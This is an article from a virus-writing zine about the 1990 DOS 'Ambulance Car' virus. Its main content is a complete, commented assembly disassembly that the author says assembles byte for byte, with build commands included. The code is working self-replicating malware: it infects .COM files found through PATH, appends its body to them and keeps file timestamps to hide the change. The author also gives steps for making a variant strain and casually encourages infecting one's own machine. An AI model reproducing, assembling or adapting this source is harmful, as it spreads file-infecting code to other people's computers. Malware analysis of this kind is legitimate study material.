This virus has definitely my favourite payload of all times. I just love
seeing that little ambulance run across the screen with a 'siren' playing at
the same time. Other than that, the virus itself isn't much of a thing. Don't
forget though, that it is dated back to at least 1990.
It is a non-resident .COM infector, and each time an infected file is run it
will attempt to infect two files (be it in the current directory or in a
directory located in the PATH) in a parasitic manner. Infected files will
experience a 796 bytes growth, being the main virus body appended to the end of
the host. Also the host file's date and time will be preserved. On ocasion the
virus will display the 'ambulance car' payload.
The virus doesn't preserve the initial contents of AX and so programs like
HotDIR fail to run when infected. Also if there is any reference to 'PATH' in
the environment block before the actual PATH string the virus will assume that
to be the actual PATH (i.e. 'CLASSPATH=...').
Playing it safe
At the DOS prompt type "PATH ;" so that the virus will only infect files in the
current directory and you can keep track of things. Also if all you want to do
is see the payload, then comment the following lines in the source code (right
after the delta offset calculation) so that no files are infected:
call searchninfect
call searchninfect
Moreover you should comment the lines presented below (for the 'RedXAny' strain
look-alike) so that the payload is shown everytime the virus is run.
In case things start to get out of hand, you should do one of three things:
either disinfect the files yourself with an hex editor, use the latest version
of F-PROT (available from ftp ftp.complex.is or through Simtel and Garbo) to scan
and clean the infected files or use my own disinfector (in another article) to
clean this specific strain.
[NOTE: F-PROT will report the strain whose source code is presented as
Ambulance.796.D]
Keep in mind that this virus is not destructive, so feel free to go ahead and
infect your entire computer (you really shouldn't do this, since accidents can
sometimes happen!).
Strains
A 'RedXAny' strain look-alike can be obatined by commenting the following
lines (both in the 'payload' procedure):
jne exit_payload ; (starting with the sixth)
jnz exit_payload ; don't show payload
[NOTE: This will not give you the actual 'RedXAny' strain, but one that behaves
in the same manner - always shows the ambulance car]
Other strains exist, but will not be discussed here, has nothing of interest
would be added.
Compatibility
The virus runs ok in a Win95's DOS box. Also, remember that for the payload to
be apreciated in full, a PC Speaker is required. Bad luck for those of you who
don't have a computer with one...
Here is the disassembly:
--8<---------------------------------------------------------------------------
; Ambulance Car (aka Ambulance, RedX, Red Cross)
; Ambulance-B strain (or so it seems!)
; Disassembly by Chili for APJ #6
; Byte for byte match when assembled with TASM 4.1
; Assemble with:
; tasm /ml /m2 ambul-b.asm
; tlink /t ambul-b.obj
PSP_environment_seg equ 2Ch ; PSP location of process' environment
; block segment address
BDA_addr equ 40h ; BDA (Bios Data Area) segment address
BDA_LPT3_port_addr equ 0Ch ; BDA location of LPT3 I/O port base
; address
BDA_video_mode equ 49h ; BDA location of current video mode
BDA_timer_counter equ 6Ch ; BDA location of number of timer ticks
; (18.2 per second) since midnight
TEXT segment word public 'code'
assume cs:TEXT, ds:TEXT, es:TEXT, ss:_TEXT
org 100h
; Host and virus' main body
;--------------------------
ambulance_car proc far
; Jump over host to real beginning of virus
db 0E9h, 01h, 00h ; Harcoded relative near jump
; Host (missing the first 3 bytes)
;
; Dummy host is just 4 bytes so only a 'nop' here
- host
-
nop
; Calculate the delta offset
;
; This piece of code will 'fool' some disassemblers and so it will appear as:
;
; call $+4
; add [bp-7Fh], bx
; out dx, al
; add ax, [bx+di]
;
; Pretty basic, but could turn out to be somewhat annoying if used all over the
; place (for the person doing the disassembly, that is!)
;
; (because of 'db 01h'; used since the near jump above is also 3 bytes long
; and that has to be taken into account for the displacement calculation)
- real start
-
call find_displacement
db 01h ; Used to make this add up to 3 bytes
- find displacement
-
pop si
sub si, offset host
; Infect twice then load up the payload
call searchninfect
call searchninfect
call payload
; Restore host's original first 3 bytes
lea bx, [si+original_3bytes-4]
mov di, offset ambulance_car
mov al, [bx]
mov [di], al ; Restore 1st byte
mov ax, [bx+1]
mov [di+1], ax ; Restore 2nd and 3rd bytes
; Return control to host
jmp di
; Move on to next step (be it 'searchninfect' or 'payload')
- next step
-
retn
ambulance_car endp
; Search for a file and infect it
;--------------------------------
searchninfect proc near
; Search for the file
call search
; Found any file?
mov al, byte ptr [si+file_mask-4]
or al, al ; If not, then move on to the
jz next_step ; next step
; Increase 'opened files' counter
lea bx, [si+counter-4]
inc word ptr [bx]
; Open file in read/write mode (AL - 02h)
lea dx, [si+filename-4] ; Open a File
mov ax, 3D02h ; [on entry AL - Open mode;
int 21h ; DS:DX - Pointer to filename
; (ASCIIZ string)]
; [returns AX - File handle]
; Save file handle
mov word ptr [si+file_handle-4], ax
; Read file's first 3 bytes
mov bx, word ptr [si+file_handle-4]
mov cx, 3 ; Read from File or Device,
lea dx, [si+first_3bytes-4] ; Using a Handle
mov ah, 3Fh ; [on entry BX - File handle;
int 21h ; CX - Number of bytes to
; read; DS:DX - Address of
; buffer]
; Check if already infected
mov al, byte ptr [si+first_3bytes-4]
cmp al, 0E9h ; Is first byte a near jump?
jne infect ; If not, assume virus isn't
; here, so go ahead and infect
; Move file pointer to real virus start (pointed to by the initial near jump)
mov dx, word ptr [si+first_3bytes+1-4]
mov bx, word ptr [si+file_handle-4]
add dx, 3 ; Add 3 bytes to account for
; the near jump
xor cx, cx ; Move File Pointer (LSEEK)
mov ax, 4200h ; [on entry BX - File handle;
int 21h ; CX:DX - Offset, in bytes;
; AL - Mode code ( Move
; pointer CX:DX bytes from
; beginning of file, AL - 0)]
; Read first 6 bytes from that location
mov bx, word ptr [si+file_handle-4]
mov cx, 6
lea dx, [si+six_bytes-4]
mov ah, 3Fh ; Read from File or Device,
int 21h ; Using a Handle
; Double-check if already infected
;
; Compares the bytes read with the first part of the displacement calculation
; code
mov ax, word ptr [si+six_bytes-4]
mov bx, word ptr [si+six_bytes+2-4]
mov cx, word ptr [si+six_bytes+4-4]
cmp ax, word ptr [si+ambulance_car]
jne infect
cmp bx, word ptr [si+ambulance_car+2]
jne infect
cmp cx, word ptr [si+ambulance_car+4]
je close_file ; If already infected, then go
; ahead and close the file
- infect
; Reset file pointer to end of file (AL - 2)
mov bx, word ptr [si+file_handle-4]
xor cx, cx
xor dx, dx ; Move File Pointer (LSEEK)
mov ax, 4202h ; [returns DX:AX - New pointer
int 21h ; location]
; Calculate virus' near jump relative offset
sub ax, 3 ; Account for the near jump
mov word ptr [si+relative_offset-4], ax
; Get and save file's date and time (AL - 0)
mov bx, word ptr [si+file_handle-4]
mov ax, 5700h ; Get a File's Date and Time
int 21h ; [on entry BX - File handle]
push cx ; [returns CX - Time; DX -
push dx ; Date]
; Write virus body to end of file
mov bx, word ptr [si+file_handle-4]
mov cx, virus_body - real_start
lea dx, [si+ambulance_car] ; Write to a File or Device,
mov ah, 40h ; Using a Handle
int 21h ; [on entry BX - File handle;
; CX - Number of bytes to
; write; DS:DX - Address of
; buffer]
; Write host's first 3 bytes to after virus body
mov bx, word ptr [si+file_handle-4]
mov cx, 3
lea dx, [si+first_3bytes-4]
mov ah, 40h ; Write to a File or Device,
int 21h ; Using a Handle
; Move file pointer to beginning of file
mov bx, word ptr [si+file_handle-4]
xor cx, cx
xor dx, dx
mov ax, 4200h ; Move File Pointer (LSEEK)
int 21h
; Write jump-to-virus-body code to beginning of file
mov bx, word ptr [si+file_handle-4]
mov cx, 3
lea dx, [si+jump_code-4]
mov ah, 40h ; Write to a File or Device,
int 21h ; Using a Handle
; Reset file's date and time to previous (AL - 1)
pop dx
pop cx
mov bx, word ptr [si+file_handle-4]
mov ax, 5701h ; Set a File's Date and Time
int 21h ; [on entry BX - File handle;
; CX - Time; DX - Date]
- close file
-
mov bx, word ptr [si+file_handle-4]
mov ah, 3Eh ; Close a File Handle
int 21h ; [on entry BX - File handle]
retn
searchninfect endp
; Find a file to infect, in the PATH or in the current directory
;---------------------------------------------------------------
search proc near
mov ax, ds:PSP_environment_seg
mov es, ax
push ds
mov ax, BDA_addr
mov ds, ax
mov bp, ds:BDA_timer_counter
pop ds
; Where to infect
;
; Probability of infecting in the current directory (none of the first two
; lower bits of BP being set) is 1/4 (25%), while probability of searching in
; the PATH for a directory where to infect (one or both of the first two lower
; bits of BP being set) is 3/4 (75%)
test bp, 00000011b ; Check if we are to infect in
jz check_cur_dir ; the current directory or in
; a PATH directory
; Find the PATH string in the environment block
;
; Format of environment block (from Ralph Brown's Interrupt List):
;
; Offset Size Description
; ------ ---- -----------
; 00h N BYTEs first environment variable, ASCIIZ string of form "var=value"
; N BYTEs second environment variable, ASCIIZ string
; ...
; N BYTEs last environment variable, ASCIIZ string of form "var=value"
; BYTE 00h
;---DOS 3.0+ ---
; WORD number of strings following environment (normally 1)
; N BYTEs ASCIIZ full pathname of program owning this environment
; (other strings may follow)
xor bx, bx ; Point to the first character
check_if_PATH:
mov ax, es:[bx]
cmp ax, 'AP'
jne not_PATH
cmp word ptr es:[bx+2], 'HT'
je PATH_found
not_PATH:
inc bx
or ax, ax ; Check if both AH and AL are
jnz check_if_PATH ; equal to zero (meaning the
; standard environment block
; is over)
; Setup to check in the current directory
- check cur dir
-
lea di, [si+file_mask-4] ; Point to file mask holder
jmp short find_file
; Find a directory in the PATH
- PATH found
-
add bx, 5 ; Point to after 'PATH='
- find dir
-
lea di, [si+pathname-4] ; Point to PATH name holder
- get character
-
mov al, es:[bx]
inc bx
or al, al ; Are we at the end of this
jz patch_dir ; PATH string?
cmp al, ';' ; Is this a PATH directory
je check_if_this_one ; separator?
mov [di], al ; Write this character to the
inc di ; PATH name holder
jmp short get_character
- check if this one
-
cmp byte ptr es:[bx], 0 ; Are we at the end of this
je patch_dir ; PATH string?
shr bp, 1 ; Get rid of the first two
shr bp, 1 ; lower bits, because it's
; already known that at least
; one them is set
; Which directory to choose
;
; Probability of infecting in the found directory (none of the first two
; lower bits of BP being set) is 1/4 (25%), while probability of searching in
; the PATH for another directory where to infect (one or both of the first two
; lower bits of BP being set) is 3/4 (75%)
test bp, 00000011b ; Check if we are to search for
jnz find_dir ; files in this directory or
; not
- patch dir
-
cmp byte ptr [di-1], '\' ; Does the directory already
je find_file ; have an ending '\'?
mov byte ptr [di], '\' ; If not, then add one
inc di
; Find a file to infect
- find file
-
push ds
pop es
mov [si+filename_ptr-4], di ; Save current location within
; the pathname/file_mask
mov ax, '.*' ; Set file mask
stosw
mov ax, 'OC'
stosw
mov ax, 'M'
stosw
push es
mov ah, 2Fh ; Get Disk Transfer Address
int 21h ; (DTA)
; [returns ES:BX - Address of
; current DTA]
mov ax, es
mov word ptr [si+DTA_seg-4], ax ; Save DTA segment
mov word ptr [si+DTA_off-4], bx ; Save DTA offset
pop es
lea dx, [si+new_DTA-4] ; Setup new DTA
mov ah, 1Ah ; Set Disk Transfer Address
int 21h ; [on entry DS:DX - Address of
; DTA]
lea dx, [si+file_mask-4] ; Setup file mask (with or
; without a PATH directory)
xor cx, cx ; Search for normal files only
mov ah, 4Eh ; Find First Matching File
int 21h ; [on entry CX - File
; attribute; DS:DX - pointer
; to filespec (ASCIIZ string)
jnc file_found ; File found? (and no errors?)
; If no file found, then clear the file mask
xor ax, ax
mov word ptr [si+file_mask-4], ax
jmp short restore_DTA
; Check if we are to infect this file or find another one
;
; Probability of keeping the found file is 1/8 (12.5%) while probability of
; searching for another one is 7/8 (87.5%)
- file found
-
push ds
mov ax, BDA_addr
mov ds, ax
ror bp, 1
xor bp, ds:BDA_timer_counter
pop ds
test bp, 00000111b
jz file_picked ; Keep this file?
; If not, then...
mov ah, 4Fh ; Find Next Matching File
int 21h
jnc file_found ; File found? (and no errors?)
; Either a file was picked or no more files where found (so keep last one)
- file picked
-
mov di, [si+filename_ptr-4] ; Point to after path, if any
lea bx, [si+f_name-4]
; Copy the file name of the found file to our filename/pathname holder
- store filename
-
mov al, [bx]
inc bx
stosb
or al, al ; Is the file name over?
jnz store_filename ; If not, then copy the next
; character
- restore DTA
-
mov bx, word ptr [si+DTA_off-4] ; Get old DTA offset
mov ax, word ptr [si+DTA_seg-4] ; Get old DTA segment
push ds
mov ds, ax
mov ah, 1Ah ; Set Disk Transfer Address
int 21h
pop ds
retn
search endp
; Check if payload will be shown or not
;--------------------------------------
payload proc near
; Check if payload will be shown
;
; The payload will be shown only when the counter-of-opened-files matches
; ...x110 (in binary) which happens at: 6, 14, 22, 30, 38, ... 65534. Then,
; when the counter reaches its limit (65535) and goes back to zero, everything
; starts again. So probability of the payload being shown is 1/8 (12.5%) and
; of not is 7/8 (87.5%)
push es
mov ax, word ptr [si+counter-4]
and ax, 00000111b
cmp ax, 00000110b ; Show payload every eight
jne exit_payload ; (starting with the sixth)
; time
; Did we already show the payload? (since the computer was (re)booted)
mov ax, BDA_addr
mov es, ax
mov ax, es:BDA_LPT3_port_addr
or ax, ax ; If the LPT3 port is in use,
jnz exit_payload ; don't show payload
; Mark LPT3 port as in use, so that the payload won't be shown again
inc word ptr es:BDA_LPT3_port_addr
call show_payload
- exit payload
-
pop es
retn
payload endp
; Setup and show the 'ambulance car' payload
;-------------------------------------------
show_payload proc near
; Check video mode
;
; Text mode 3 (80x25) - video buffer address = 0B800h
; Text mode 7 (80x25) - video buffer address = 0B000h
push ds
mov di, 0B800h
mov ax, BDA_addr
mov ds, ax
mov al, ds:BDA_video_mode
cmp al, 7 ; Check which video mode we're
jne setup_videontune ; on, if not Monochrome text
mov di, 0B000h ; mode 7, assume mode 3
- setup video n tune
-
mov es, di
pop ds
mov bp, 0FFF0h ; Setup number of tones to play
; (will increment up to 50h)
- setup animation
-
mov dx, 0 ; Setup ambulance_data column
mov cx, 16 ; Number of characters that make
; up one ambulance_data line
- do ambulance
-
call show_ambulance ; Print the ambulance to screen
inc dx
loop do_ambulance
call play_siren ; Play a tone of the 'siren'
call wait_tick ; and wait for a tick
inc bp
cmp bp, 50h ; Already played the 'ambulance
jne setup_animation ; siren' tune 12 times?
call speaker_off ; If yes, then turn speaker off
push ds
pop es
retn
show_payload endp
; Turn the PC speaker off
;------------------------
speaker_off proc near
; Turn off the speaker
;
; 8255 PPI - Programmable Peripheral Interface
; Port 61h, 8255 Port B output
;
; (see description below)
in al, 61h
and al, 11111100b ; Disable timer channel 2 and 'ungate'
out 61h, al ; its output to the speaker
retn
speaker_off endp
; Turn on the speaker and play the "ambulance siren" sound
;------------------------------------------------------------
play_siren proc near
; Select tone frequency to generate
;
; Tone frequency is selected by means of the 3rd least significant bit of BP:
;
; Bit(s) Description
; ------ -----------
; ... 3 2 1 0
; ... x 0 x x Play 1st tone frequency
; ... x 1 x x Play 2nd tone frequency
;
; If we consider A to be the 1st tone and B to be the 2nd tone then the whole
; 'ambulance siren' tune will be: (AAAABBBB) x 12
mov dx, 07D0h ; "ambulance siren" 1st tone frequency
test bp, 00000100b ; Check if we are to play
jz speaker_on ; the first or the second
; tone frequency
mov dx, 0BB8h ; "ambulance siren" 2nd tone frequency
; Turn on the speaker
;
; 8255 PPI - Programmable Peripheral Interface
; Port 61h, 8255 Port B output
;
; Bit(s) Description
; ------ -----------
; 7 6 5 4 3 2 1 0
; . . . . . . . 1 Timer 2 gate to speaker enable
; . . . . . . 1 . Speaker data enable
; x x x x x x . . Other non-concerning fields
- speaker on
-
in al, 61h
test al, 00000011b ; If speaker is already on, then go and
jnz play_tone ; play the sound tone
or al, 00000011b ; Else, enable timer channel 2 and
out 61h, al ; 'gate' its output to the speaker
; Program the PIT
;
; 8253 PIT - Programmable Interval Timer
; Port 43h, 8253 Mode Control Register
;
; Bit(s) Description
; ------ -----------
; 7 6 5 4 3 2 1 0
; . . . . . . . 0 16 binary counter
; . . . . 0 1 1 . Mode 3, square wave generator
; . . 1 1 . . . . Read/Write LSB, followed by write of MSB
; 1 0 . . . . . . Select counter (channel) 2
mov al, 10110110b ; Set 8253 command register
out 43h, al ; for mode 3, channel 2, etc
; Generate a tone from the speaker
;
; 8253 PIT - Programmable Interval Timer
; Port 42h, 8253 Counter 2 Cassette and Speaker Functions
- play tone
-
mov ax, dx
out 42h, al ; Send LSB (Least Significant Byte)
mov al, ah
out 42h, al ; Send MSB (Most Significant Byte)
retn
play_siren endp
; Show the 'ambulance car'
;-------------------------
show_ambulance proc near
push cx
push dx
lea bx, [si+ambulance_data-4]
add bx, dx ; Setup which ambulance_data column
; were going to print
add dx, bp ; Don't show the ambulance_data columns
or dx, dx ; which aren't still visible
js ambulance_done
cmp dx, 50h ; Check if the column we're printing is
jae ambulance_done ; past the screen limit
; If yes, then the don't print it
mov di, 3200 ; Point to beginning of screen's 64th
; line
add di, dx ; Point to the column we're supposed to
add di, dx ; be printing at
sub dx, bp ; Restore to initial column value
mov cx, 5 ; Set it up so we're in the first line
- decode character
-
mov ah, 7 ; Set color attribute to white
; Decode the character
;
; It's really pretty ingenius, each character is encoded in a way, so that for
; each line beyond the first one that character is incremented by one and for
; each column beyond the first the same thing happens. So taken that into
; account it's not difficult to understand how it all works and how to decode
; the ambulance_data
mov al, [bx] ; Get the character
sub al, 7
add al, cl ; Account for which line we're in
sub al, dl ; Account for which column we're in
cmp cx, 5 ; Are we in the first line?
jne print_character ; If we are, then...
mov ah, 15 ; Set color attribute to high-intensity
; white
test bp, 00000011b ; Is this the ending tone of a AAAA or
; BBBB tune sequence?
jz print_character ; If not, then go ahead and print the
; 'siren' characters
mov al, ' ' ; Else, replace them with a ' ' (to
; accomplish the visual 'siren' effect
- print character
-
stosw ; Print the character to screen
add bx, 16 ; Point to next ambulance_data line
add di, 158 ; Point to next screen line
loop decode_character
- ambulance done
-
pop dx
pop cx
retn
show_ambulance endp
; Wait for one tick (18.2 per second) to pass
;--------------------------------------------
wait_tick proc near
push ds
mov ax, BDA_addr
mov ds, ax
mov ax, ds:BDA_timer_counter ; Get ticks since midnight
check_timer:
cmp ax, ds:BDA_timer_counter ; Check if one tick has
je check_timer ; already passed
pop ds
retn
wait_tick endp
;--- Data from here below
- ambulance data
- first_line db 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 66h, 87h, 3Bh
db 2Dh, 2Eh, 2Fh, 30h, 31h
second_line db 23h, 0E0h, 0E1h, 0E2h, 0E3h, 0E4h, 0E5h, 0E6h, 0E7h
db 0E7h, 0E9h, 0EAh, 0EBh, 30h, 31h, 32h
third_line db 24h, 0E0h, 0E1h, 0E2h, 0E3h, 0E8h, 2Ah, 0EAh, 0E7h
db 0E8h, 0E9h, 2Fh, 30h, 6Dh, 32h, 33h
fourth_line db 25h, 0E1h, 0E2h, 0E3h, 0E4h, 0E5h, 0E7h, 0E7h, 0E8h
db 0E9h, 0EAh, 0EBh, 0ECh, 0EDh, 0EEh, 0EFh
fifth_line db 26h, 0E6h, 0E7h, 29h, 59h, 5Ah, 2Ch, 0ECh, 0EDh, 0EEh
db 0EFh, 0F0h, 32h, 62h, 34h, 0F4h
; Here's how the ambulance looks - see under DOS (box):
;
; \|/
; ÜÜÜÜÜÜÜÜÛÜÜÜ
; ÛÛÛÛß ßÛÛÛ \
; ÛÛÛÛÛÜÛÛÛÛÛÛÛÛÛ
; ßß OO ßßßßß O ß
counter dw 9
- jump code
- near_jump db 0E9h
relative_offset db 36h, 00h
first_3bytes db 3 dup (?)
file_handle dw ?
- virus body
original_3bytes db 0CDh, 20h ; 'int 20h' opcode
db 90h ; 'nop' opcode
;--- Stuff that gets saved along with the virus ends here
six_bytes db 6 dup (?)
filename_ptr dw ?
DTA_seg dw ?
DTA_off dw ?
- file mask
-
- filename
- pathname db 6 dup (?)
db 7 dup (?)
db 67 dup (?)
- new DTA
- reserv db 21 dup (?)
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
f_name db 13 dup (?)
filler db 85 dup (?)
TEXT ends
end ambulancecar
---------------------------------------------------------------------------8<--
Special Thanks
I would like to thank Cicatrix for sending me his collection of 'Ambulance Car'
strains, so that I would have more than two variants to study and compare.
|